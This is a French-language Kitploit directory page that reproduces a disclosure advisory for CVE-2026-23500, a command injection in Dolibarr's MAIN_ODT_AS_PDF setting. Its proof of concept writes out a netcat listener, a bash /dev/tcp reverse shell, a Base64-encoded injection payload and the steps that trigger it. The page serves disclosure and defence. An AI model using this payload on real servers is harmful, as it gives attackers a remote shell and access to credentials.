Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23500 — CVE-2026-23500 - Injection de commandes système (RCE) via la configuration MAIN_ODT_AS_PDF dans Dolibarr | Kitploit
Outils/GitHubGitHub/lukasz-rybak/cve-2026-23500
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCommandement et ContrôleArticles et RechercheApprentissage et Éducation
GitHublukasz-rybak/cve-2026-23500

CVE-2026-23500

CVE-2026-23500 - Injection de commandes système (RCE) via la configuration MAIN_ODT_AS_PDF dans Dolibarr

Voir le dépôt
2il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-23500 : Injection de commandes système (RCE) via la configuration MAIN_ODT_AS_PDF dans Dolibarr

Aperçu

ChampDétails
CVE IDCVE-2026-23500
SévéritéCritique
Avis de sécuritéGHSA-w5j3-8fcr-h87w
Découvert parLukasz Rybak

Produits concernés

  • Dolibarr/dolibarr (versions : <= 22.0.4)
  • Corrigé dans : 23.0

Classification CWE

  • CWE-78 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande système ('OS Command Injection')

Détails

Résumé

Un administrateur authentifié peut exécuter des commandes système arbitraires en injectant une charge utile malveillante dans la constante de configuration MAIN_ODT_AS_PDF. Cette vulnérabilité existe parce que l'application ne valide ni n'échappe correctement le chemin de la commande avant de le transmettre à la fonction exec() lors du processus de conversion ODT en PDF.

Détails

La vulnérabilité se situe dans htdocs/includes/odtphp/odf.php. Lorsque le système tente de convertir un document ODT en PDF (par exemple, dans les Propositions, Factures), il construit une commande shell à l'aide du paramètre global MAIN_ODT_AS_PDF.

Extrait de code (htdocs/includes/odtphp/odf.php, environ la ligne 930) :

root@kitploit:~
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);

Alors que le nom de fichier $name est assaini à l'aide de escapeshellcmd(), la variable de configuration MAIN_ODT_AS_PDF est récupérée directement depuis la base de données et concaténée au début de la chaîne. Un attaquant disposant de privilèges administratifs peut définir cette variable afin d'inclure un séparateur de commande (comme ;) suivi de commandes arbitraires.

PoC

Prérequis :

  1. Se connecter en tant qu'administrateur.
  2. Vérifier que le module « Propositions commerciales » est activé et que les « Modèles ODT » sont activés dans sa configuration.

Étapes pour reproduire (Reverse Shell) :

  1. Démarrer un listener netcat sur la machine de l'attaquant (IP : 172.26.0.1, Port : 4445) :
root@kitploit:~
nc -lvnp 4445
  1. Préparer la charge utile. Pour éviter les problèmes liés aux caractères spéciaux (comme & ou >) qui seraient échappés par l'application web ou le shell, encoder la commande de reverse shell en Base64 :

    root@kitploit:~
    # Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
    echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
    # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
    
  2. Naviguer vers Accueil -> Configuration -> Autres configurations.

  3. Ajouter ou modifier la constante MAIN_ODT_AS_PDF avec la charge utile d'injection suivante :

    root@kitploit:~
    jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
    

    (Explication : jodconverter satisfait à la vérification initiale, ; agit comme séparateur de commandes, et le pipeline décode et exécute la charge utile Base64).

    image
  4. Naviguer vers Commerce -> Nouvelle proposition, créer un brouillon, sélectionner un modèle ODT (par exemple, generic_proposal_odt), puis cliquer sur Générer.

    image
image
image
  1. Vérifier le listener netcat. Une connexion sera établie, fournissant un shell sur le serveur :
image

Impact

Exécution de code à distance (RCE). Un attaquant qui obtient l'accès à un compte administrateur (ou un administrateur malveillant) peut exécuter des commandes arbitraires sur le serveur sous-jacent avec les privilèges de l'utilisateur du serveur web (généralement www-data). Cela permet de :

  • Lire des fichiers de configuration sensibles (identifiants de base de données).
  • Modifier le code de l'application.
  • Compromettre complètement le système selon la configuration du serveur (par exemple, évasion Docker, pivotement).

Crédits

Signalée par Łukasz Rybak

Références

  • https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
  • https://nvd.nist.gov/vuln/detail/CVE-2026-23500

Avis de non-responsabilité

Cette CVE a fait l'objet d'une divulgation responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.

Télécharger l’outil